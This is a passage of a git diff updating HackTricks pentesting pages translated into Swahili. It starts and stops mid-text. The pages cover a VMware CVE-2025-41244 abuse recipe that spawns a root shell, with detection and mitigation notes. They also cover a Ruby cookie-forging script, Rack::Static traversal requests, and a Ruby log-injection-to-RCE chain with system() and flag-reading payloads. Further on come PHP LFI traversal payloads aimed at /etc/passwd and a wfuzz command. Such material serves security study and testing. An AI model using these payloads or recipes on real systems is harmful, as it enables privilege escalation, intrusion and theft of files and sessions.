mwenye ruhusa ndogo na hakikisha inafungua listening socket yoyote -3) Subiri mzunguko wa discovery; privileged collector itaendesha moja kwa moja: /tmp/httpd -v (au sawa), ikiwasha programu yako kama root +1) Weka binary katika path inayolingana na moja ya permissive regexes, kwa mfano /tmp/httpd au ./nginx +2) Endesha kama mtumiaji mwenye ruhusa ndogo na hakikisha inafungua listening socket yoyote +3) Subiri mzunguko wa discovery; collector mwenye ruhusa atatekeleza moja kwa moja: /tmp/httpd -v (au sawa), akiendesha programu yako kama root -Minimal demo (ikitumia mbinu ya NVISO) +Minimal demo (using NVISO’s approach) ```bash # Build any small helper that: # - default mode: opens a dummy TCP listener @@ -69,57 +69,57 @@ Mfuatano wa kawaida wa mchakato - Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i - Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i -Vibaki (credential-based) -Scripts za wrapper za SDMP zilizopatikana chini ya /tmp/VMware-SDMP-Scripts-{UUID}/ zinaweza kuonyesha utekelezaji wa moja kwa moja wa njia isiyo ya kawaida: +Viashiria (credential-based) +SDMP wrapper scripts zilizopatikana chini ya /tmp/VMware-SDMP-Scripts-{UUID}/ zinaweza kuonyesha utekelezaji wa moja kwa moja wa rogue path: ```bash /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" ``` -## Kuiboresha mbinu: regex-driven discovery abuse (portable pattern) +## Kupanua mbinu: regex-driven discovery abuse (portable pattern) -Wakala wengi na suites za ufuatiliaji hufanya ugundaji wa toleo/huduma kwa: -- Kuorodhesha michakato yenye sockets za kusikiliza -- Kufanya grep kwenye argv/line za amri kwa regex zenye uvumilivu (mfano, patterns zenye \S) -- Kutekeleza njia iliyoendana na hiyo kwa bendera isiyokuwa hatari kama -v, --version, -V, -h +Wakala wengi na suites za monitoring huteekeleza discovery ya version/service kwa: +- Kuorodhesha processes zilizo na listening sockets +- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S) +- Kuendesha njia iliyopatikana na bendera isiyo hatari kama -v, --version, -V, -h -Ikiwa regex inakubali njia zisizo salama na njia hiyo inatekelezwa kutoka kwa muktadha wa mamlaka, utapata CWE-426 Untrusted Search Path execution. +Ikiwa regex inakubali njia zisizotegemewa na njia hiyo inaendeshwa kutoka muktadha wenye vibali, unapata CWE-426 Untrusted Search Path execution. -Mwongozo wa matumizi mabaya -- Jina binary yako kama daemons za kawaida ambazo regex inaweza kuzipata: httpd, nginx, mysqld, dataserver -- Iweka kwenye directory inayoweza kuandikwa: /tmp/httpd, ./nginx -- Hakikisha inafanana na regex na inafungua bandari yoyote itakayoorodheshwa -- Subiri collector iliyopangwa; utapata uanzishaji wa kiotomatiki wa -v kwa nafasi za juu +Mapishi ya matumizi mabaya +- Ipe binary yako jina la daemons za kawaida ambazo regex ina uwezekano wa kuoanisha: httpd, nginx, mysqld, dataserver +- Iweke katika directory inayoweza kuandikwa: /tmp/httpd, ./nginx +- Hakikisha inalingana na regex na inafungua bandari yoyote ili ikorodheshwe +- Subiri collector iliyopangwa; utapata uanzishaji wa kibinafsi wa moja kwa moja wa -v -Masquerading note: Hii inaendana na MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) ili kuongeza uwezekano wa kufanana na kupunguza kugunduliwa. +Kumbuka kuhusu uigaji: Hii inaendana na MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) ili kuongeza uwezekano wa kuoanisha na utundu. -Reusable privileged I/O relay trick -- Jenga helper yako ili wakati inapoanzishwa kwa hadhi ya juu (-v/--version) iungane na rendezvous inayojulikana (mfano, Linux abstract UNIX socket kama @cve) na iunganishe stdio na /bin/sh -i. Hii inazuia artifacts zilizo kwenye diski na inafanya kazi katika mazingira mengi ambapo binary ile ile inarudiwa na bendera. +Njia ya I/O relay yenye vibali inayoweza kutumiwa tena +- Tengeneza msaidizi wako ili wakati wa uanzishaji wenye vibali (-v/--version) uunganishe kwenye sehemu ya kukutana inayojulikana (kwa mfano, Linux abstract UNIX socket kama @cve) na kuunganisha stdio na /bin/sh -i. Hii inaepuka artefakti za diski na inafanya kazi katika mazingira mengi ambamo binary ile ile inaendeshwa tena na bendera. -## Ugunduzi na mwongozo wa DFIR +## Detection and DFIR guidance -Maswali ya ufuatiliaji +Maswali ya kuwinda - Watoto wasio wa kawaida wa vmtoolsd au get-versions.sh kama /tmp/httpd, ./nginx, /tmp/mysqld -- Utekelezaji wowote wa njia za absolute zisizo za system na scripts za discovery (angalia nafasi katika expansions za ${COMMAND%%...}) -- ps -ef --forest kwa kuona miti ya asili: vmtoolsd -> get-versions.sh -> +- Utekelezaji wowote wa non-system absolute paths na discovery scripts (angalia nafasi katika ${COMMAND%%...} expansions) +- ps -ef --forest ili kuona miti ya urithi: vmtoolsd -> get-versions.sh -> -Katika Aria SDMP (credential-based) -- Kagua /tmp/VMware-SDMP-Scripts-{UUID}/ kwa scripts za muda na artifacts za stdout/stderr zinazoonyesha utekelezaji wa njia za mshambuliaji +Kwenye Aria SDMP (credential-based) +- Kagua /tmp/VMware-SDMP-Scripts-{UUID}/ kwa scripts za muda na artefakti za stdout/stderr zinaonyesha utekelezaji wa njia za mshambuliaji -Sera/telemetri -- Onyesha tahadhari wakati collectors wenye mamlaka wanaanzisha kutoka viongozo visivyo vya system: ^/(tmp|home|var/tmp|dev/shm)/ -- Ufuatiliaji wa uadilifu wa faili kwenye get-versions.sh na VMware Tools plugins +Sera/telemetry +- Toa onyo wakati privileged collectors zinaendesha kutoka non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring on get-versions.sh and VMware Tools plugins -## Kupunguza madhara +## Mitigations -- Sasisha: Tumia updates za Broadcom/VMware kwa CVE-2025-41244 (Tools and Aria Operations SDMP) -- Zima au zuia ugundaji usio na nyaraka inapowezekana -- Thibitisha njia za kuaminika: zuia utekelezaji kwa directories zilizo kwenye allowlist (/usr/sbin, /usr/bin, /sbin, /bin) na tu binaries zilizoeleweka kwa usahihi -- Epuka regex zenye uvumilivu zenye \S; chagua paths za absolute zilizo wazi na majina ya amri yaliyosanidiwa (anchored, explicit) -- Punguza mamlaka kwa discovery helpers pale inapowezekana; tumia sandbox (seccomp/AppArmor) kupunguza athari -- Fuatilia na onya kuhusu vmtoolsd/get-versions.sh zinapoendesha paths zisizo za system +- Sahihisha: Tumia masasisho ya Broadcom/VMware kwa CVE-2025-41244 (Tools and Aria Operations SDMP) +- Zima au punguza discovery isiyo na credentials pale inavyowezekana +- Thibitisha trusted paths: punguza utekelezaji kwa directories zilizoorodheshwa (/usr/sbin, /usr/bin, /sbin, /bin) na tu binaries zilizoeleweka kwa usahihi +- Epuka regex zinazoruhusu \S; tumia absolute paths zilizoambatishwa na majina kamili ya amri +- Punguza vibali kwa discovery helpers pale inapowezekana; sandbox (seccomp/AppArmor) kupunguza athari +- Kagua na toa onyo juu ya vmtoolsd/get-versions.sh ikitenda njia zisizo za-system -## Vidokezo kwa walinda na watekelezaji +## Notes for defenders and implementers -Mfumo salama zaidi wa mechi na utekelezaji +Muundo salama wa kuoanisha na utekelezaji ```bash # Bad: permissive regex and blind exec COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") @@ -135,10 +135,10 @@ case "$candidate" in ;; esac ``` -## Marejeo +## References -- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) -- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [NVISO – Uitaje, VMware huinua (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom – Taarifa kuhusu CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) - [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) - [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index c21232875..4116e8088 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Kupakia faili kwa RCE +## Kupakia faili hadi RCE -As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. +Kama ilivyoelezwa katika [this article](https://www.offsec.com/blog/cve-2024-46986/), kupakia faili `.rb` ndani ya saraka nyeti kama `config/initializers/` kunaweza kusababisha remote code execution (RCE) katika maombi ya Ruby on Rails. Vidokezo: -- Mahali mengine ya boot/eager-load yanayotekelezwa wakati app inapoanza pia ni hatari endapo yanaweza kuandikwa (kwa mfano, `config/initializers/` ni mfano wa kawaida). Ikiwa utapata upload ya faili yoyote inayowekwa mahali popote chini ya `config/` na baadaye ikafanyiwa evaluate/required, unaweza kupata RCE wakati wa boot. -- Tafuta dev/staging builds zinazokopi faili zinazoendeshwa na mtumiaji ndani ya container image ambako Rails itazi-load wakati wa boot. +- Mahali pengine pa boot/eager-load zinazotekelezwa wakati maombi yanapoanzishwa pia ni hatari ikiwa yanaweza kuandikwa (mfano, `config/initializers/` ndio klasy). Ukiweza kupata upload ya faili yoyote inayowekwa chini ya `config/` na baadaye kuathiriwa/evaluated/required, unaweza kupata RCE wakati wa boot. +- Tafuta builds za dev/staging ambazo zinakopa faili zilizo under udhibiti wa mtumiaji katika container image ambapo Rails itawa-load wakati wa boot. ## Active Storage image transformation → command execution (CVE-2025-24293) -When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. +Wakati app inatumia Active Storage pamoja na `image_processing` + `mini_magick`, na inapitia parameters zisizo za kuaminika kwa methods za image transformation, matoleo ya Rails kabla ya 7.1.5.2 / 7.2.2.2 / 8.0.2.1 yanaweza kuruhusu command injection kwa sababu baadhi ya transformation methods ziliorodheshwa kwa makosa kama default. - A vulnerable pattern looks like: ```erb @@ -20,30 +20,30 @@ When an application uses Active Storage with `image_processing` + `mini_magick`, ``` where `params[:t]` and/or `params[:v]` are attacker-controlled. -- What to try during testing -- Tambua endpoints yoyote inayokubali variant/processing options, transformation names, au ImageMagick arguments yoyote. -- Fuzz `params[:t]` na `params[:v]` kwa makosa au athari za utekelezaji zinazoshangaza. Ikiwa unaweza kuathiri jina la method au kupitisha raw arguments zinazofika MiniMagick, unaweza kupata code exec kwenye host ya image processor. -- Ikiwa una read-access pekee kwa variants zilizozalishwa, jaribu blind exfiltration kupitia ImageMagick operations zilizotengenezwa maalum. +- Mambo ya kujaribu wakati wa upimaji +- Tambua endpoints zinazoepuka variant/processing options, transformation names, au ImageMagick arguments yoyote. +- Fuzz `params[:t]` na `params[:v]` kwa makosa yanayoshuka shaka au side-effects za execution. Ikiwa unaweza kuathiri jina la method au kupitisha raw arguments zinazofika MiniMagick, unaweza kupata code exec kwenye host ya image processor. +- Ikiwa una access ya kusoma tu kwa generated variants, jaribu blind exfiltration kupitia ImageMagick operations zilizotengenezwa kwa madhumuni hayo. -- Remediation/detections -- Ikiwa unaona Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pamoja na Active Storage + `image_processing` + `mini_magick` na transformations zinazoendeshwa na mtumiaji, zingatia kuwa zinatumiwa. Pendekeza upgrade na kutekeleza allowlists kali kwa methods/params pamoja na sera ya ImageMagick iliyoboreshwa. +- Utatuzi/ugunduzi +- Ikiwa unaona Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 na Active Storage + `image_processing` + `mini_magick` na transformations zilizo under control ya mtumiaji, zingatia kuwa inaweza kutumika. Pendekeza kusasisha na kutekeleza allowlists kali kwa methods/params na sera ya ImageMagick iliyo hardened. ## Rack::Static LFI / path traversal (CVE-2025-27610) -If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. +Ikiwa stack ya lengo inatumia Rack middleware moja kwa moja au kupitia frameworks, matoleo ya `rack` kabla ya 2.2.13, 3.0.14, na 3.1.12 yaruhusu Local File Inclusion kupitia `Rack::Static` wakati `:root` haijatengwa/imeconfigured vibaya. Encoded traversal katika `PATH_INFO` inaweza kufichua faili chini ya process working directory au root isiyotarajiwa. -- Tafuta apps zinazoweka `Rack::Static` ndani ya `config.ru` au kwenye middleware stacks. Jaribu encoded traversals dhidi ya static paths, kwa mfano: +- Tafuta apps zinazo-mount `Rack::Static` katika `config.ru` au middleware stacks. Jaribu encoded traversals dhidi ya static paths, kwa mfano: ```text GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.env ``` -Rekebisha prefix ili iendane na `urls:` iliyosanidiwa. Ikiwa app inajibu na yaliyomo ya faili, inawezekana una LFI kwa chochote chini ya `:root` iliyotatuliwa. +Rekebisha prefix ili iendane na `urls:` zilizowekwa. Ikiwa app inajibu kwa maudhui ya faili, kuna uwezekano una LFI kwa chochote chini ya `:root` iliyotambuliwa. -- Mitigation: upgrade Rack; hakikisha `:root` inaonyesha tu kwenye saraka ya faili za umma na imewekwa wazi. +- Kupunguza hatari: sasisha Rack; hakikisha `:root` inaonyesha tu kwa directory ya public files na imewekwa wazi wazi. -## Forging/decrypting Rails cookies when `secret_key_base` is leaked +## Kutengeneza/ku-decrypt cookies za Rails wakati `secret_key_base` is leaked -Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. +Rails encrypts na signs cookies kwa kutumia keys zinazotokana na `secret_key_base`. If that value leaks (mfano, katika repo, logs, au misconfigured credentials), kwa kawaida unaweza decrypt, modify, na re-encrypt cookies. Hii mara nyingi husababisha authz bypass ikiwa app inahifadhi roles, user IDs, au feature flags katika cookies. Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails): ```ruby @@ -71,8 +71,8 @@ forged = enc.encrypt_and_sign(plain) puts "Forged cookie: #{CGI.escape(forged)}" ``` Vidokezo: -- Programu za zamani zinaweza kutumia AES-256-CBC na salts `encrypted cookie` / `signed encrypted cookie`, au JSON/Marshal serializers. Rekebisha salts, cipher, na serializer ipasavyo. -- Iwapo kutatokea kompromisi au wakati wa tathmini, badilisha `secret_key_base` ili kuondoa uhalali wa cookies zote zilizopo. +- Programu za zamani zinaweza kutumia AES-256-CBC na salts `encrypted cookie` / `signed encrypted cookie`, au JSON/Marshal serializers. Badilisha salts, cipher, na serializer ipasavyo. +- Wakati wa compromise/assessment, badilisha `secret_key_base` ili kuufanya usifanye kazi cookie zote zilizopo. ## Tazama pia (Ruby/Rails-specific vulns) @@ -92,9 +92,83 @@ Vidokezo: {{#endref}} +## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling +When an app (often a simple Rack/Sinatra/Rails endpoint) both: +- logs a user-controlled string verbatim, and +- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`), + +You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives: + +- Ruby `load` hutekeleza yaliyomo ya faili lengwa kama Ruby bila kujali file extension. Faili yoyote ya maandishi inayoweza kusomwa na ambayo yaliyomo yake yanachambuliwa kama Ruby itaendeshwa. +- `Pathname#cleanpath` inabana vipande `.` na `..` bila kugusa filesystem, ikiruhusu path smuggling: takataka inayodhibitiwa na mshambuliaji inaweza kuongezwa mwanzoni kwa ajili ya logging wakati path iliyosafishwa bado inarekebisha kwa faili lililokusudiwa kutekelezwa (mfano, `../logs/error.log`). + +### Mfano mdogo wa muundo dhaifu +```ruby +require 'logger' +require 'pathname' + +logger = Logger.new('logs/error.log') +param = CGI.unescape(params[:script]) +path_obj = Pathname.new(param) + +logger.info("Running backup script #{param}") # Raw log of user input +load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath +``` +### Kwa nini log inaweza kuwa na Ruby halali +`Logger` huandika mistari za utangulizi kama: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +``` +Katika Ruby, `#` huanza maoni na `9/2/2025` ni hesabu tu. Ili kuingiza msimbo halali wa Ruby unahitaji: +- Anza payload yako kwenye mstari mpya ili isifutwe kama comment na `#` kwenye mstari wa INFO; tuma newline ya mwanzo (`\n` or `%0A`). +- Funga `[` iliyodumu iliyotolewa na mstari wa INFO. Njia ya kawaida ni kuanza na `]` na, kwa hiari, kuridhisha parser kwa `][0]=1`. +- Kisha weka msimbo wowote wa Ruby (mfano, `system(...)`). + +Mfano wa kile kitakachomalizika kwenye log baada ya ombi moja lenye crafted param: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log +``` +### Kupeleka mfuatano mmoja ambao kwa wakati mmoja unarekodi code na unatatua kuwa log path +Tunataka mfuatano mmoja unaodhibitiwa na mshambuliaji ambao: +- wakati ulogiwa raw, unajumuisha payload yetu ya Ruby, na +- wakati upitishwa kupitia `Pathname.new().cleanpath`, unatokana na `../logs/error.log` ili `load` inayofuata itekeleze faili ya logi iliyohujumiwa hivi karibuni. + +`Pathname#cleanpath` hupuuzia schemes na hukusanya vipengele vya traversal, hivyo yafuatayo hufanya kazi: +```ruby +require 'pathname' + +p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") +puts p.cleanpath # => ../logs/error.log +``` +- Alama ya `#` kabla ya `://` inahakikisha Ruby inapuuzia kile kilicho nyuma wakati logi inapoendeshwa, wakati `cleanpath` bado inapunguza nyongeza hadi `../logs/error.log`. +- Newline ya mwanzo inavunja mstari wa INFO; `]` inafunga kibano kilichokuwa wazi; `][0]=1` inamridhisha parser. + +### End-to-end exploitation +1. Tuma yafuatayo kama jina la script ya backup (URL-encode the first newline as `%0A` if needed): +``` +\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log +``` +2. The app logs your raw string into `logs/error.log`. +3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it. +4. Ruby executes the code you injected in the log. + +Ili exfiltrate faili katika mazingira kama ya CTF: +``` +\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log +``` +URL-encoded PoC (char ya kwanza ni newline): +``` +%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log +``` ## Marejeo -- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 -- Ushauri wa GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- Tangazo la Usalama la Rails: CVE-2025-24293 Active Storage mbinu za uongofu zisizo salama (imerekebishwa katika 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- Taarifa ya GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) +- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) +- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) +- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index a31913cac..42f25e802 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -13,7 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Ikiwa unapata credentials halali, unaweza kutumia metasploit scanner modules zaidi kupata taarifa. +Ikiwa utapata vitambulisho halali, unaweza kutumia moduli zaidi za skana za metasploit kupata taarifa. ### Angalia pia diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index bd6a7e949..52c7a1d59 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -Remote File Inclusion (RFI): Faili inapatikana kutoka kwenye server ya mbali (Bora: Unaweza kuandika code na server itaiendesha). Katika php hii imezimwa kwa default (allow_url_include).\ -Local File Inclusion (LFI): Server inapakia faili ya ndani. +**Remote File Inclusion (RFI):** Faili inapakuliwa kutoka kwenye seva ya mbali (Bora: Unaweza kuandika code na seva itaiendesha). Katika php hii kwa chaguo-msingi imezimwa (**allow_url_include**).\ +**Local File Inclusion (LFI):** Seva inapakia faili ya ndani. -Udhaifu hutokea wakati mtumiaji anaweza kwa namna fulani kudhibiti faili ambayo server itakuwa inapakia. +Udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili itakayopakiwa na seva. -Vulnerable PHP functions: require, require_once, include, include_once +Funsi za **PHP** zilizo hatarini: require, require_once, include, include_once -Chombo kizuri cha kutumia kufaida udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Zana muhimu ya kufanikisha udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Nimetengeneza hii kwa kuchanganya orodha kadhaa za *nix LFI na kuongeza njia zaidi:** +**Kwa kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi nimeunda hii:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Jaribu pia kubadilisha `/` kwa `\`\ -Jaribu pia kuongeza `../../../../../` +Pia jaribu kubadilisha `/` kwa `\`\ +Pia jaribu kuongeza `../../../../../` -Orodha inayotumia mbinu kadhaa kutafuta faili /etc/password (kuangalia kama udhaifu upo) inaweza kupatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaifu upo) inapatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -40,22 +40,22 @@ Muungano wa wordlists tofauti: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Jaribu pia kubadilisha `/` kwa `\`\ -Jaribu pia kuondoa `C:/` na kuongeza `../../../../../` +Pia jaribu kubadilisha `/` kwa `\`\ +Pia jaribu kuondoa `C:/` na kuongeza `../../../../../` -Orodha inayotumia mbinu kadhaa kutafuta faili /boot.ini (kuangalia kama udhaifu upo) inaweza kupatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu upo) inapatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Angalia orodha ya LFI ya Linux. +Angalia orodha ya LFI ya linux. -## Basic LFI and bypasses +## Misingi ya LFI na bypasses -Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences zimeondolewa bila kutumia rekursia +### traversal sequences zilitolewa bila kutumia rekursia ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass kuongeza herufi zaidi mwishoni mwa mfuatano wa herufi uliotolewa (bypass ya: $\_GET\['param']."php") +Bypass kuongeza herufi zaidi mwishoni mwa string iliyotolewa (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Hii **imetatuliwa tangu PHP 5.4** +Hii ni **imetatuliwa tangu PHP 5.4** ### **Encoding** -Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na zingine): +Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na mengine): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Kutoka kwenye folder iliyopo +### Kutoka kwenye folda iliyopo -Labda back-end inakagua folder path: +Huenda back-end inakagua njia ya folda: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Kuchunguza Saraka za Mfumo wa Faili kwenye Seva +### Kuchunguza Katalogi za Mfumo wa Faili kwenye Seva -Mfumo wa faili wa seva unaweza kuchunguzwa kwa kurudia (recursively) ili kubaini saraka, si faili tu, kwa kutumia mbinu fulani. Mchakato huu unahusisha kuamua kina cha saraka na kujaribu uwepo wa mafolda maalum. Hapo chini kuna njia ya kina ya kufanikisha hili: +Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya rekursivu ili kubaini katalogi, sio tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha katalogi na kujaribu uwepo wa folda maalum. Hapo chini kuna mbinu ya kina ya kufanikisha hili: -1. **Tambua Kina cha Saraka:** Tambua kina cha saraka yako ya sasa kwa kupata kwa mafanikio faili `/etc/passwd` (inapotumika ikiwa seva inategemea Linux). URL mfano inaweza kuundwa kama ifuatavyo, ikiashiria kina cha tatu: +1. **Tambua Kina cha Katalogi:** Bainisha kina cha katalogi la sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inayotumika ikiwa seva ni Linux-based). Mfano wa URL unaweza kuwa umeundwa kama ifuatavyo, ukionyesha kina cha tatu: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza depth kwa moja: +2. **Chunguza folda:** Ongeza jina la folda unayoshuku (kwa mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Tafsiri Matokeo:** Jibu la server linaonyesha ikiwa folda ipo: -- **Hitilafu / Hakuna Matokeo:** Folda `private` huenda haipo katika eneo lililotajwa. -- **Maudhui ya `/etc/passwd`:** Upo wa folda `private` umethibitishwa. -4. **Uchunguzi Rekursivu:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI). +3. **Fasiri Matokeo:** Jibu la server linaonyesha ikiwa folda ipo: +- **Hitilafu / Hakuna Matokeo:** Folda `private` huenda haipo mahali ulilotajwa. +- **Yaliyomo ya `/etc/passwd`:** Ukuwepo wa folda `private` umehakikishwa. +4. **Uchunguzi wa Rekursivu:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya saraka ndogo au faili kwa kutumia njia ile ile au mbinu za kawaida za Local File Inclusion (LFI). -Kwa kuchunguza folda katika maeneo tofauti ya mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (kwa kuzingatia folda ya sasa iko kwa kina cha 3), tumia: +Ili kuchunguza saraka katika maeneo tofauti ya mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda ya `private` (ikiwa saraka ya sasa iko kwa kina cha 3), tumia: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation ni mbinu inayotumika kubadilisha file 